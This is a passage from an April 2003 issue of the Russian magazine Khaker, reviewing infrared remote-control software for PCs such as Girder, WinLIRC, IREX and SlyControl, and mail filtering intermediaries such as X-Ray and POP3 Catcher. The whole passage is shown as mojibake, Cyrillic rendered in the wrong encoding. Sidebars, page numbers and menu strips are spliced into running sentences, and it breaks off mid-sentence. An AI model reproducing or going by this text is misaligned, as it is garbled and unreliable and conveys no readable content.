êîòîðûå ÿ áû íàçâàë óíèâåðñàëüíûìè<br />
óïðàâëÿëêàìè. Îäíà èç íèõ - Girder.<br />
Èñïîëüçîâàíèå ïðîãðàìì òèïà Girder è åñòü òîò<br />
ñàìûé âòîðîé ïóòü, î êîòîðîì ÿ ãîâîðèë âûøå.<br />
Girder - ýòî íàñòîÿùèé ìîíñòð àëüòåðíàòèâíîãî<br />
óïðàâëåíèÿ. Ïî÷åìó àëüòåðíàòèâíîãî? Ïîòîìó ÷òî<br />
Girder ïîçâîëÿåò óïðàâëÿòü êîìïüþòåðîì ÷åðåç<br />
èíôðàêðàñíûé ïîðò, ïîñëåäîâàòåëüíûé ïîðò,<br />
ïàðàëëåëüíûé ïîðò, à òàêæå ÷åðåç èíòåðíåò.<br />
Ïðè÷åì íàñòðîèòü Girder ìîæíî äàæå ïîä ñàìûå<br />
èçâðàùåííûå âêóñû. Åñëè òû õî÷åøü, òî ìîæåøü<br />
äàæå ïå÷àòàòü ñ ïîìîùüþ äèñòàíöèîííîãî ïóëüòà<br />
òåêñò â Word'e.<br />
Ìîäóëè â Girder’å<br />
Äèñòðèáóòèâ ëåæèò ïî àäðåñó http://www.girder.nl<br />
(1200Êá, freeware). ×òîáû íå çàïóòàòüñÿ âî<br />
ìíîæåñòâå íàñòðîåê è ïàðàìåòðîâ, ñîâåòóþ òåáå<br />
ïåðåêëþ÷èòü ÿçûê èíòåðôåéñà ñ àíãëèéñêîãî íà<br />
ðóññêèé. Ñäåëàòü ýòî ìîæíî â ìåíþ File->Settings-<br />
>User Interface.<br />
×òîáû òû óáåäèëñÿ â òîì, ÷òî ÿ ãîâîðþ ÷èñòóþ<br />
ïðàâäó, è ÷òî Girder ìîæåò óïðàâëÿòü ïî÷òè ÷åì<br />
óãîäíî, çàéäè â ìåíþ "Íàñòðîéêè/Ìîäóëè". Â<br />
îòêðûâøåìñÿ îêíå òû óâèäèøü ñïèñîê èç äâàäöàòè<br />
íàèìåíîâàíèé. Ýòî êàê ðàç è åñòü òå ñàìûå<br />
ìîäóëè (plugins), êîòîðûå îáåñïå÷èâàþò ñâÿçü<br />
Girder'à ñ ñàìûìè ðàçíûìè óñòðîéñòâàìè. Êðîìå<br />
òîãî, íà ñàéòå http://www.girder.nl íàõîäÿòñÿ åùå<br />
îêîëî ñåìèäåñÿòè ðàçíîîáðàçíûõ ìîäóëåé. Ýòî,<br />
áåçóñëîâíî, çäîðîâî, íî â ðàìêàõ<br />
ðàññìàòðèâàåìîé òåìû ñðåäè âñåãî ýòîãî<br />
ìíîãîîáðàçèÿ íàñ èíòåðåñóþò ëèøü âîçìîæíîñòè<br />
Girder'a ïî ðàáîòå ñ èíôðàêðàñíûì ïîðòîì.<br />
Girder óìååò ðàáîòàòü ñ ÈÊ-ïðèåìíèêîì<br />
ñàìîñòîÿòåëüíî, áåç ïîìîùè WinLIRC'à. Äëÿ ýòîãî<br />
â ìåíþ "Íàñòðîéêè" -> "Ìîäóëè" âûáåðè ìîäóëü<br />
"UIR/IRMan/IRA/CTInfa/Hoolywood+ Plugin, à çàòåì,<br />
íàæàâ êíîïêó "Íàñòðîéêà", óêàæè òîò ÑOM-ïîðò, íà<br />
êîòîðîì ó òåáÿ "âèñèò" ÈÊ-ïðèåìíèê, à â<br />
âûïàäàþùåì ñïèñêå "Òèï îáîðóäîâàíèÿ" âûáåðè<br />
"Universal Infrared Reseiver (UIR)".<br />
Ïîìèìî ýòîãî Girder óìååò ðàáîòàòü è ñ<br />
WinLIRC'îì. ß ñ÷èòàþ ýòî áîëåå óäîáíûì<br />
âàðèàíòîì. Ñóäè ñàì: åñëè èñïîëüçóåøü ÄÓ íå<br />
òîëüêî ñ Girder'îì, íî è ñ äðóãèìè ïðîãðàììàìè<br />
(íàïðèìåð, ñ îïèñàííûìè ïëàãèíîì äëÿ<br />
WinAMP'à), òî, ñîãëàñèñü, ãîðàçäî óäîáíåå<br />
íàñòðîèòü îäèí ðàç îäíó ïðîãðàììó, ÷åì<br />
íåñêîëüêî ðàç âûïîëíÿòü îäíó è òó æå ðàáîòó â<br />
êàæäîì ïðîãå îòäåëüíî.<br />
Äëÿ ðàáîòû ñ WinLIRC'îì òåáå íóæíî ñêà÷àòü<br />
ñïåöèàëüíûé ìîäóëü, êîòîðûé íàõîäèòñÿ ïî<br />
àäðåñó http://www.girder.nl/plugins.php,<br />
ðàñïàêîâàòü åãî (zip-àðõèâ), ïîòîì ïåðåïèñàòü<br />
ÕÀÊÅÐ\¹52\Àïðåëü\2003<br />
dll’êó â êàòàëîã "Program Files/Girder32/plugins" è<br />
ïåðåçàïóñòèòü ïðîãðàììó. Íîâûé ìîäóëü<br />
àâòîìàòè÷åñêè ïîÿâèòñÿ â óæå çíàêîìîì òåáå<br />
ñïèñêå. Äëÿ êîíôèãóðèðîâàíèÿ ïëàãèíà æìè<br />
êíîïêó "Íàñòðîèòü". Åñëè â ïîÿâèâøåìñÿ îêíå â<br />
ïîëå "Path to local WinLIRC" ïðîïèñàòü ïóòü ê<br />
ôàéëó WinLIRC, òî ïðè î÷åðåäíîì çàïóñêå Girder'à<br />
ïðîãðàììà àâòîìàòè÷åñêè çàïóñòèò è WinLIRC.<br />
Ïîëå "Servername or IP" çàïîëíèòü òàê æå, êàê<br />
îïèñàíî âûøå, â àáçàöå ïðî ïëàãèí ê WinAMP'ó.<br />
Êàêîé áû ñïîñîá îáùåíèÿ ñ ÈÊ-ïîðòîì òû íè<br />
âûáðàë, òåáå íåîáõîäèìî îïðåäåëèòü<br />
âûïîëíÿåìûå ïóëüòîì êîìàíäû.<br />
Äëÿ ýòîãî ïðîäåëàé ñëåäóþùèå, ñîâñåì<br />
íåñëîæíûå ìàíèïóëÿöèè.<br />
Íàæàâ ïðàâóþ êíîïêó ìûøè, âûáåðè êîìàíäó<br />
"Äîáàâèòü ãðóïïó â âåðõíèé óðîâåíü". Íà ýêðàíå<br />
ïîÿâèòñÿ ïàïî÷êà ñ ãëóáîêîìûñëåííûì íàçâàíèåì<br />
"Íîâûé". Ïåðåèìåíóé åå âî ÷òî-íèáóäü áîëåå<br />
îñìûñëåííîå. Íàïðèìåð, "Ïóëüò ÄÓ".<br />
Îïÿòü íàæàâ ïðàâóþ êíîïêó ìûøè, âûáåðè<br />
"Äîáàâèòü êîìàíäó". Íà ýêðàíå íèæå ñîçäàííîé<br />
òîáîé ïàïêè ïîÿâèòñÿ ïóíêò, êîòîðûé<br />
ñîîòâåòñòâóåò îäíîé êîìàíäå ïóëüòà. Òî åñòü,<br />
åñëè òû õî÷åøü âûïîëíÿòü ñ ïîìîùüþ ÄÓ<br />
IREX- ñîâñåì êðîøå÷íàÿ (24Êá)<br />
ïðîãðàììêà, êîòîðàÿ âûïîëíÿåò<br />
ôóíêöèþ êëèåíòñêîé ÷àñòè äëÿ<br />
WinLIRC.<br />
Òàê âûãëÿäèò êîíôèãóðàöèîííûé<br />
ôàéë IREX<br />
Âñå íàñòðîéêè IREX'à õðàíÿòñÿ â<br />
ïðîñòîì òåêñòîâîì ôàéëå, êàæäàÿ<br />
ñòðî÷êà êîòîðîãî èìååò ñëåäóþùèé<br />
ôîðìàò: remote (íàçâàíèå ïóëüòà ÄÓ)<br />
key (íàçâàíèå êíîïêè) type (òèï<br />
êîìàíäû) command (êîìàíäà). Òî<br />
åñòü, åñëè ïðè íàñòðîéêå WinLIRC'à<br />
òû ñîçäàë ïóëüò "CANON" è êíîïêó<br />
"Power", òî äëÿ âûêëþ÷åíèÿ<br />
êîìïüþòåðà âñòàâü â ôàéë òàêóþ<br />
ñòðî÷êó: CANON power exe c:\windows\rundll.exe<br />
user.exe,exitwindows.<br />
Äèñòðèáóòèâ ðàñïîëàãàåòñÿ ïî<br />
àäðåñó: http://www.ramscan.com/irex<br />
(24Êá, freeware).<br />
32 Íüþñû 1 Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì
äåñÿòü ðàçíûõ êîìàíä (îòêðûòü ïðèëîæåíèå,<br />
âûêëþ÷èòü êîìïüþòåð, ïåðåêëþ÷èòü ìóçûêó è<br />
ò.ä.), òî, ñîîòâåòñòâåííî, íåîáõîäèìî ñîçäàòü<br />
äåñÿòü òàêèõ ïóíêòîâ<br />
Íàñòðàèâàåì Girder<br />
Ñëåäóþùèì øàãîì òû äîëæåí óêàçàòü Girder'ó òó<br />
êíîïêó íà ïóëüòå, íàæàòèå êîòîðîé âûçîâåò<br />
èñïîëíåíèå ýòîé êîìàíäû. Åñëè òû èñïîëüçóåøü<br />
WinLIRC, òî èäè â çàêëàäêó "Ìîäóëè", âûáèðàé<br />
WinLIRC , æìè "Íàñòðîéêó" è çàïîëíè ïîëÿ<br />
"Remote" è "Code" íàçâàíèåì ïóëüòà (òåì ñàìûì,<br />
÷òî òû ïèñàë ïðè îáó÷åíèè WinLIRC'à) è íàçâàíèåì<br />
PC Remote Control<br />
PC Remote Control - îòëè÷íàÿ<br />
ïðîãðàììà äëÿ óïðàâëåíèÿ<br />
êîìïüþòåðîì ïðè ïîìîùè ïóëüòà<br />
ÄÓ. Ïîääåðæèâàåò íåñêîëüêî<br />
èñòî÷íèêîâ óïðàâëåíèÿ:<br />
ïîñëåäîâàòåëüíûé ïîðò, êëàâèàòóðó,<br />
TCP/IP è AVerMedia TV Series Remote.<br />
Íàñòðîéêà ïóëüòà îñóùåñòâëÿåòñÿ<br />
ïî÷òè òàê æå, êàê è â Girder'å - íà<br />
êàæäóþ êíîïêó ïóëüòà ìîæíî<br />
ïîâåñèòü îäíó èëè íåñêîëüêî<br />
êîìàíä: ýìóëÿöèÿ íàæàòèÿ êëàâèøè<br />
êëàâèàòóðû, ýìóëÿöèÿ äâèæåíèÿ<br />
êóðñîðà ìûøè, âûïîëíåíèå<br />
"âíåøíåé" ïðîãðàììû, âûâîä<br />
ñîîáùåíèÿ, óïðàâëåíèå ãðîìêîñòüþ,<br />
à òàêæå óïðàâëåíèå êîìïüþòåðîì<br />
(âûêëþ÷èòü, ïåðåãðóçèòü, çàñíóòü è<br />
ò.ä.) è ïðèëîæåíèåì (ñâåðíóòü,<br />
çàêðûòü).<br />
Äèñòðèáóòèâ ðàñïîëîæåí íà<br />
www.pcremotecontrol.com (738Êá,<br />
Shareware).<br />
Íåçàðåãèñòðèðîâàííàÿ âåðñèÿ èìååò<br />
îãðàíè÷åíèÿ ïî ñðîêó ðàáîòû è íå<br />
ïîçâîëÿåò ñîçäàâàòü áîëåå ÷åòûðåõ<br />
äåéñòâèé íà îäíó ñõåìó.<br />
Sly Control<br />
SlyControl - íàñòîÿùèé ìîíñòð, îáèëèå<br />
è ñëîæíîñòü íàñòðîåê êîòîðîãî ìîãóò<br />
îòïóãíóòü äàæå îïûòíîãî þçåðà. Çàòî<br />
åñëè òû îñâîèøüñÿ ñ ýòîé<br />
ïðîãðàììîé, òî áîëüøå äëÿ ñ÷àñòüÿ<br />
íè÷åãî è íå íóæíî.<br />
Äèñòðèáóòèâ íàõîäèòñÿ ïî àäðåñó<br />
http://slydiman.narod.ru (4Ìá).<br />
Ðåãèñòðàöèÿ äëÿ æèòåëåé áûâøåãî<br />
ÑÑÑÐ áåñïëàòíàÿ, â êà÷åñòâå<br />
äîêàçàòåëüñòâà ñâîåé ïðèíàäëåæíîñòè<br />
ê âåëèêîé äåðæàâå íåîáõîäèìî ââåñòè<br />
â ðåãèñòðàöèîííóþ ôîðìó íàçâàíèå<br />
òåêóùåãî ìåñÿöà íà ðóññêîì ÿçûêå.<br />
Íàðÿäó ñ îáû÷íûìè äëÿ òàêîãî êëàññà<br />
ïðîãðàìì âîçìîæíîñòÿìè (óïðàâëåíèå<br />
ëþáûìè ïðîãðàììàìè ñ ïóëüòà ÄÓ,<br />
ýìóëÿöèÿ êëàâèàòóðû è ìûøè ñ ïóëüòà<br />
ÄÓ) ïðèñóòñòâóþò è íåêîòîðûå<br />
èíòåðåñíûå ôóíêöèè. À èìåííî<br />
êíîïêè ñîîòâåòñòâåííî. Åñëè Girder ðàáîòàåò ñ ÈÊïîðòîì<br />
áåç WinLIRC'à, òî äàâè íà "Ó÷èòü ñîáûòèå"<br />
è æìè êíîïêó ïóëüòå. Íà ýêðàíå Girder'a ïîÿâÿòñÿ<br />
áîëüøèå æåëòûå öèôðû - êîä íàæàòîé êëàâèøè.<br />
È ïîñëåäíåå. Íåîáõîäèìî óêàçàòü Girder'y, ÷òî<br />
åìó äåëàòü ïîñëå òîãî, êàê îí "ïîéìàåò"<br />
êîìàíäó ñ ïóëüòà. Âèäèøü âíèçó, ïîä æåëòûìè<br />
áóêâàìè, îêíî ñ ìíîãî÷èñëåííûìè çàêëàäêàìè:<br />
Óíèâåðñàëüíàÿ «êîìàíäà»<br />
<br />
ôóíêöèÿ ïëàíèðîâùèêà. Òî åñòü âñå<br />
äåéñòâèÿ ìîæíî âûïîëíÿòü íå òîëüêî â<br />
äàííûé ìîìåíò, íî è ïî ðàñïèñàíèþ.<br />
Íàëè÷èå âñòðîåííîãî ÿçûêà ïîçâîëÿåò<br />
îïèñûâàòü ïðàêòè÷åñêè ëþáûå<br />
ñöåíàðèè ïîâåäåíèÿ êîìïüþòåðà. Äëÿ<br />
òåõ, êòî íå õî÷åò ðàçáèðàòüñÿ ñ<br />
ÿçûêîì, åñòü ìàñòåð-ïîìîùíèê. Íî â<br />
ëþáîì ñëó÷àå, ïðîãðàììà íå äëÿ<br />
÷àéíèêîâ.<br />
Êîíôèãóðèì SlyControl<br />
Èç âñåõ ïðîãðàìì, êîòîðûå ïðîøëè<br />
òåñòèðîâàíèå â ðàìêàõ äàííîãî<br />
îáçîðà, SlyControl ïîääåðæèâàåò<br />
ìàêñèìàëüíîå êîëè÷åñòâî âàðèàíòîâ<br />
ïîäêëþ÷åíèÿ ÈÊ-ïðèåìíèêà. Êðîìå<br />
ñòàíäàðòíûõ COM è LPT-ïîðòîâ, ÈÊïðèåìíèê<br />
ìîæíî ïîäêëþ÷èòü äàæå ê<br />
ìèêðîôîííîìó âõîäó. Êðîìå òîãî,<br />
SlyControl ïîääåðæèâàåò ðàáîòó ñ<br />
WinLIRC. Òàêæå â äèñòðèáóòèâå<br />
ñîäåðæàòñÿ ìîäóëè äëÿ ðàáîòû ñ<br />
íåêîòîðûìè ìîäåëÿìè ÒÂ-òþíåðîâ, ñ<br />
Creative SB Live! / Audigy Drive IR<br />
remote control (RM-900) è ò.ï.<br />
"Îêíî", "ÎÑ", "Êîìàíäà", "Girder", "Ìûøü",<br />
"Êëàâèàòóðà", "Ìîäóëè"? Êàæäàÿ èç ýòèõ<br />
çàêëàäîê ñîäåðæèò ñïèñîê êîìàíä, äîñòóïíûõ<br />
äëÿ âûïîëíåíèÿ. Íàïðèìåð, òû õî÷åøü, ÷òîáû<br />
ïîñëå íàæàòèÿ êíîïêè "Power" íà ïóëüòå ÄÓ,<br />
êîìïüþòåð âûêëþ÷èëñÿ. Èäè â çàêëàäêó "ÎÑ" è<br />
âûáèðàé êîìàíäó "Çàâåðøåíèå ðàáîòû<br />
Windows". Âñå ïðîùå ïðîñòîãî.<br />
Êîíå÷íî, ñïèñîê óæå çàëîæåííûõ êîìàíä äîâîëüíî<br />
âåëèê, íî ÷åëîâåê - òàêîå<br />
ñóùåñòâî, êîòîðîìó ñêîëüêî<br />
íè äàâàé, âñåãäà ìàëî.<br />
Ðàçðàáîò÷èêè Girder'à ó÷ëè<br />
ýòî è äîïîëíèëè ïðîãðàììó<br />
â âûñøåé ñòåïåíè<br />
óíèâåðñàëüíûì<br />
èíñòðóìåíòîì ïîä<br />
ëàêîíè÷íûì íàçâàíèåì<br />
"Êîìàíäà". "Êîìàíäà", ïî<br />
ñóòè ñâîåé, ÿâëÿåòñÿ ñàìûì<br />
îáûêíîâåííûì ìàêðîñîì,<br />
êîòîðûé çàïîìèíàåò<br />
äåéñòâèÿ ïîëüçîâàòåëÿ, à<br />
çàòåì âûïîëíÿåò èõ âìåñòî<br />
íåãî àâòîìàòè÷åñêè. Ýòî<br />
äåéñòâèòåëüíî ìîùíûé<br />
èíñòðóìåíò, ïîçâîëÿþùèé<br />
óïðàâëÿòü äàæå òåìè<br />
ïðèëîæåíèÿìè, êîòîðûå ê<br />
ýòîìó ñîâåðøåííî íå<br />
ïðèñïîñîáëåíû.<br />
5 Þíèêñîèä 6 X-Ñòèëü 7 Êîäèíã 8 Þíèòû 9 Quit> 33
PC_Zone<br />
ÌÛËÜÍÛÅ ÏÐÎÖÅÑÑÎÐÛ<br />
A.P.$lasH<br />
ÑÀÌ ÑÅÁÅ<br />
(ap-slash@tfs.kiev.ua)<br />
ÈÌÈÒÀÒÎÐ<br />
<br />
X-Ray - äîìàøíÿÿ ñòðàíèöà<br />
Ì Û Ë Ü Í Û Å<br />
Ï Ð Î Ö Å Ñ Ñ Î Ð Û<br />
Âêëþ÷èòü ìîäåì, ïðîâåðèòü ìûëî. Ðóòèíà. Ñî âðåìåíåì íà÷èíàåøü äåéñòâîâàòü íà àâòîïèëîòå, ïðàêòè÷åñêè íå çàäóìûâàÿñü.<br />
Ïî÷òîâàÿ ïðîãðàììà íåñïåøíî äåëàåò ñâîå ýëåêòðîííîå äåëî, ñêëàäûâàÿ òðîôåéíóþ ïðîçó íà âèí÷åñòåð. Ó òåáÿ åñòü ïðåòåíçèè<br />
ê ñàìîìó ïðîöåññó? Ìîæåò, åñòü ñìûñë ïðåîáðàçîâàòü HTML â òåêñò, óáðàòü èç êîíôåðåíöèé ñëóæåáíûå çàãîëîâêè, îòñåÿòü<br />
ñïàìåðñêèå ïîäàðêè, ðàçìåñòèòü ñâåæèå ññûëêè â áàçå Access? Ñîðòèðîâùèê ìåéëåðà ÷àñòåíüêî ïàñóåò ïåðåä ðàçûãðàâøèìñÿ<br />
âîîáðàæåíèåì. Íóæåí ðàñòîðîïíûé ïîñðåäíèê ìåæäó íèì è ïî÷òîé íà ñåðâåðå. Ìîãó ïîçíàêîìèòü. Òðè âàðèàíòà íà âûáîð.<br />
ÏÎÑÐÅÄÍÈÊÈ ÝËÅÊÒÐÎÍÍÛÕ ÏÎ×ÒÀËÜÎÍÎÂ<br />
Ïðè÷èí âîçíèêíîâåíèÿ ïîäîáíûõ ïîñðåäíèêîâ ñóùåñòâóåò<br />
âåëèêîå ìíîæåñòâî. Ê ïðèìåðó, êîãäà â ïðîöåññå<br />
ïîëó÷åíèÿ ïî÷òû âèíäà ñîîáùàåò: "Ìàññà, âèíòû ïåðåïîëíèëèñü!",<br />
èç äèíàìèêîâ ðàçäàåòñÿ õàðàêòåðíûé<br />
çâóê, íàïîìèíàþùèé îòêðûòèå áóòûëêè øàìïàíñêîãî.<br />
Âñïîìèíàåòñÿ âåæëèâûé ëîñü èç ïîïóëÿðíîãî àíåêà.<br />
Òàê è õî÷åòñÿ ñêàçàòü "Äîáðûé âå÷åð!". Ëþáîå ïèñüìî<br />
ïðîöåíòîâ íà 30 ñîñòîèò èç áåñïîëåçíîãî õëàìà, çàñîðÿþùåãî<br />
ïî÷òîâóþ áàçó. Äàæå ìûëî íóæíî ÷èñòèòü.<br />
Áîëüøèíñòâî ïðîãðàììåðîâ, ðåøàþùèõ ýòó ïðîáëåìó,<br />
÷àñòåíüêî óâëåêàþòñÿ, è â ðåçóëüòàòå ðîæäàåòñÿ òàêîé<br />
øåñòèíîãèé òðàêòîð ñ ÷åòûðüìÿ ïðèêóðèâàòåëÿìè.<br />
Îáîéäåìñÿ áåç ëèøíèõ çàìîðî÷åê, ôóíêöèîíàëüíîñòü<br />
ïðåâûøå âñåãî. Íà ñöåíó âûõîäèò X-Ray - ìèíèàòþðíîå<br />
ÕÀÊÅÐ\¹52\Àïðåëü\2003<br />
X-Ray - ôóíêöèîíè÷íûé è ëàêîíàëüíûé<br />
äåòèùå äâóõ ìèíñêèõ ïðîãðàììèñòîâ.<br />
Ïðîãðàììà ïðåäíàçíà÷åíà äëÿ àâòîìàòè÷åñêîãî ðåäàêòèðîâàíèÿ<br />
ñëóæåáíûõ çàãîëîâêîâ. Âçÿòü åå ìîæíî ïî<br />
àäðåñó www.xrayapp.com. Ïîçâîëÿåò äîáàâèòü íîâîå<br />
ïîëå, çàìåíèòü ñóùåñòâóþùåå, ïåðåèìåíîâàòü ïðîèç-<br />
34 Íüþñû 1 Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì
âîëüíîå çíà÷åíèå â çàãîëîâêå, óäàëèòü áåñïîëåçíóþ<br />
"áàõðîìó" òèïà X-FTN-SEEN-BY, çíà÷åíèÿ êîòîðîãî ïëîäÿòñÿ<br />
íà çàâèñòü âñåì êðîëèêàì ïëàíåòû. Ïîääåðæèâàåòñÿ<br />
âïîëíå ïðèëè÷íûé íàáîð âñòðîåííûõ ôóíêöèé äëÿ<br />
îáðàáîòêè îòäåëüíûõ ó÷àñòêîâ êàæäîãî ïîëÿ â çàãîëîâêå.<br />
Ê ïðèìåðó, ëüâèíàÿ äîëÿ âåñåëûõ è íàõîä÷èâûõ<br />
ïðîâàéäåðîâ îòïðàâëÿåò ñâîèì êëèåíòàì íîâîñòíûå<br />
êîíôåðåíöèè ñ ïðåôèêñîì [NEWS] â òåìå ïèñüìà. Çà-<br />
÷åì, êòî çàêàçûâàë? Òîëüêî çðÿ ìåñòî â ñïèñêå ïèñåì<br />
çàíèìàåò. Óäàëÿåì ýòó ïîäñòðîêó íå ãëÿäÿ. Â òó æå ñàìóþ<br />
êîðçèíó ïîëåòÿò ïðèñòàâêè âèäà " - fido7" è " - relcom",<br />
êîòîðûå äîáàâëÿåò ñåðâåð http://talk.ru è åìó ïîäîáíûå.<br />
À êàê òåáå âîçìîæíîñòü àâòîìàòè÷åñêè ñîáèðàòü<br />
ôèäîøíûå îðèäæèíû (äåâèçû) â îòäåëüíûé òåêñòîâèê?<br />
Äîáàâëÿåì íîâîå ïðàâèëî è óêàçûâàåì X-Ray<br />
ñîõðàíÿòü â ôàéëå ñîäåðæèìîå ïîëÿ X-FTN-Origin. Áîëåå<br />
òîãî, ïðîãðàììà óìååò èçìåíÿòü çàãîëîâêè íå<br />
òîëüêî ïîñëå ïîëó÷åíèÿ, íî è äî îòïðàâêè ïî÷òû. Íàïðèìåð,<br />
åñëè òâîé ìåéëåð íå ñïîñîáåí äîáàâèòü â<br />
ïèñüìî ïîëå Newsgroups:, à òû ìå÷òàåøü çàäàòü âîïðîñ<br />
â ôèäîøíîé ýõå, ñêà÷àé X-Ray, îí ïîìîæåò. Êðî-<br />
X-Ray - ìûëüíûå ôèëüòðû<br />
ìå òîãî, ïðîãðàììà áåñïëàòíàÿ.<br />
È ýòî åùå íå âñå. Íåâçèðàÿ íà áîëåå ÷åì ñêðîìíûé<br />
ðàçìåð (ÿäðî çàíèìàåò âñåãî 77 êèëîáàéò), ïðîãå óäàåòñÿ<br />
ñî÷åòàòü â ñåáå àâòîìàòè÷åñêèé âûáîð íåîáõîäèìîãî<br />
SMTP â çàâèñèìîñòè îò òåêóùåãî IP (íåçàìåíèìàÿ<br />
âåùü, åñëè ó òåáÿ íåñêîëüêî ïðîâàéäåðîâ), ïîäðîáíóþ<br />
ñòàòèñòèêó ïðèåìà ïî÷òû è êîððåêöèþ ñèñòåìíîãî âðåìåíè<br />
ñ ïîääåðæêîé ñîëèäíîãî ñïèñêà ñåðâåðîâ äëÿ åãî<br />
ñèíõðîíèçàöèè. Êàæäîìó ñåðâåðó ìîæíî íàçíà÷èòü ïðèîðèòåò,<br />
à ëîãè âåäóòñÿ îòäåëüíî â çàâèñèìîñòè îò òèïà<br />
äàííûõ - ïðîòîêîë ñðàáàòûâàíèÿ ôèëüòðîâ è îáðàáîòêà<br />
ñîîáùåíèé, òåëî ïèñüìà, îòëàäî÷íàÿ èíôîðìàöèÿ è<br />
æóðíàë ñîåäèíåíèé. Ïîä NT îíà óìååò ðàáîòàòü â âèäå<br />
ñåðâèñà, à âñå ñâîè íàñòðîéêè ñîõðàíÿåò â ñõåìàõ, ìåæäó<br />
êîòîðûìè òû ñìîæåøü ëåãêî ïåðåêëþ÷àòüñÿ ïðè ïîìîùè<br />
êîíòåêñòíîãî ìåíþ èç èêîíêè â ñèñòåìíîì òðåå.<br />
Êëèêíè ïî íåé ïðàâîé êíîïêîé ìûøêè, âûáåðè ïóíêò<br />
X-Ray - íàñòðîéêà ïðîãðàììû<br />
"Options". Íàñòðîéêà X-Ray - ïðîöåäóðà íåñëîæíàÿ.<br />
Íà çàêëàäêå "Servers" íóæíî äîáàâèòü àäðåñà POP3 è<br />
SMTP-ñåðâåðîâ, óêàçàòü äëÿ íèõ íîìåðà ïîðòîâ, à òàêæå<br />
ëîãèíû è ïàðîëè ïî íåîáõîäèìîñòè. Ñîçäàíèå ïðàâèë<br />
íà çàêëàäêå "Filters" ïðîõîäèò ïîä óïðàâëåíèåì âèçàðäà,<br />
òàê ÷òî íèêàêèõ ïðîáëåì ñ íàñòðîéêîé âîçíèê-<br />
íóòü íå äîëæíî. Äà, è íå çàáóäü ëèøíèé ðàç ïåðå÷èòàòü<br />
ôàéë macro.txt, ðàñïîëîæåííûé â îäíîì êàòàëîãå ñ<br />
ïðîãðàììîé. Â íåì ïîäðîáíî ðàñïèñàí âåñü íàáîð<br />
âñòðîåííûõ ôóíêöèé, êîòîðûå óïðàâëÿþò ïîâåäåíèåì<br />
ôèëüòðîâ. Îñòàëîñü ëèøü óêàçàòü â ïàðàìåòðàõ ñâîåãî<br />
ìåéëåðà localhost (èëè 127.0.0.1) âìåñòî àäðåñà<br />
POP3/SMTP-ñåðâåðà è ïðîâåðèòü ïî÷òó. Âñå ãåíèàëüíîå<br />
íå òîëüêî ïðîñòî, íî è ôóíêöèîíàëüíî, à òàêæå åñò<br />
ìàëî ïàìÿòè. Íè íà ÷òî åãî íå ïðîìåíÿþ.<br />
<br />
POP3 Catcher - äîìàøíÿÿ ñòðàíèöà<br />
Ïðîñòîãî ðàáî÷åãî ïàðíÿ ïî èìåíè Voyager â ñâîå âðåìÿ<br />
âçâîëíîâàëà äðóãàÿ ïðîáëåìà. Åãî ðàçäðàæàëè ñïàìåðû.<br />
Äåíü çà äíåì Voyager îõëàäåâàë ê ïèâó è íèêàê<br />
íå ìîã áðîñèòü êóðèòü. Â îäèí ïðåêðàñíûé äåíü íà åãî<br />
äîìàøíåé ñòðàíèöå (http://pop3catcher.net.ru/) ïîÿâèëàñü<br />
ïåðâàÿ âåðñèÿ ïðîãðàììû POP3 Catcher, êîòîðàÿ<br />
ïîìîãëà ðåøèòü âñå ïðîáëåìû ñâîåãî ñîçäàòåëÿ. Èëè<br />
ïî÷òè âñå. Êóðèòü îí òàê è íå áðîñèë.<br />
POP3 Catcher - ãðîçà ýëåêòðîííîãî áàðûãè<br />
Èòàê, îñíîâíàÿ öåëü ýòîé ïðèáëóäû çàêëþ÷àåòñÿ â ñîçäàíèè<br />
æåëåçîáåòîííîé ñòåíû ïðîòèâ ñåòåâûõ òîðãàøåé è<br />
æàäíûõ ëþáèòåëåé äåíåæíûõ ïèðàìèäîê. Íî êàê ÿ óæå<br />
ãîâîðèë, â ïðîöåññå ñîçäàíèÿ çàìå÷àòåëüíûõ ÷óäåñ ïðîãðàììåðû<br />
óâëåêàþòñÿ. Äåòèùå Âîÿäæåðà ïîçâîëÿåò óñòàíîâèòü<br />
îãðàíè÷åíèå íà ðàçìåð è êîëè÷åñòâî ïèñåì, ïðèíÿòûõ<br />
çà îäíó ñåññèþ, à òàêæå íà åå ïðîäîëæèòåëüíîñòü.<br />
Òàêèì îáðàçîì, åñëè ó òåáÿ Dial-Up, à â ÿùèêå ìåòðîâ 10<br />
ïîëåçíîé êîððåñïîíäåíöèè, POP3 Catcher áóäåò çàáèðàòü<br />
èõ ìåëêèìè ïîðöèÿìè, ïåðèîäè÷åñêè âîçîáíîâëÿÿ<br />
ïîäêëþ÷åíèå ê ñåðâåðó. Êðîìå òîãî, êîìàíäà DELE (óäàëåíèå<br />
ïîëó÷åííîãî ïèñüìà) îòïðàâëÿåòñÿ íà ñåðâåð ïîñëå<br />
ïîëó÷åíèÿ ÊÀÆÄÎÃÎ ñîîáùåíèÿ. Âåðîÿòíîñòü êîððåêòíîãî<br />
çàâåðøåíèÿ ïî÷òîâîé ñåññèè â ýòîì ñëó÷àå çíà-<br />
÷èòåëüíî âûøå. Âñòðîåííàÿ çâîíèëêà ïîçâîëÿåò ïðîâåðÿòü<br />
ïî÷òó ÷åðåç îïðåäåëåííûå ïðîìåæóòêè âðåìåíè, à<br />
òàêæå ðàçðûâàòü ñîåäèíåíèÿ ïîñëå îêîí÷àíèÿ ïðèåìà.<br />
Ñàìà ïðîâåðêà ïî÷òû ìîæåò ïðîõîäèòü êàê ïàðàëëåëüíî<br />
(âñå ÿùèêè ñðàçó), òàê è ïîñëåäîâàòåëüíî (â î÷åðåäü, ...,<br />
â î÷åðåäü). Òåïåðü ïî ïîâîäó çàùèòû îò ñïàìà...<br />
Î÷åðåäíîé ïîñðåäíèê ïðîâåðÿåò IP-àäðåñ SMTP<br />
îòïðàâèòåëÿ íà RBL - ñåòåâûõ ñïðàâî÷íèêàõ<br />
ñïàìåðñêèõ ðåëååâ. Åñëè îí äåéñòâèòåëüíî ñî-<br />
5 Þíèêñîèä<br />
6 X-Ñòèëü 7 Êîäèíã 8
ÕÀÊÅÐ\¹52\Àïðåëü\2003<br />
PC_Zone<br />
ÌÛËÜÍÛÅ ÏÐÎÖÅÑÑÎÐÛ<br />
A.P.$lasH (ap-slash@tfs.kiev.ua)<br />
POP3 Catcher - êàêèå ìû óìíûå<br />
äåðæèòñÿ â òàêîì êàòàëîãå, ïèñüìî ïîìå÷àåòñÿ êàê ñïàì<br />
(ïðîãà äîáàâëÿåò â çàãîëîâîê ïîëå âèäà X-Spam-Mark:<br />
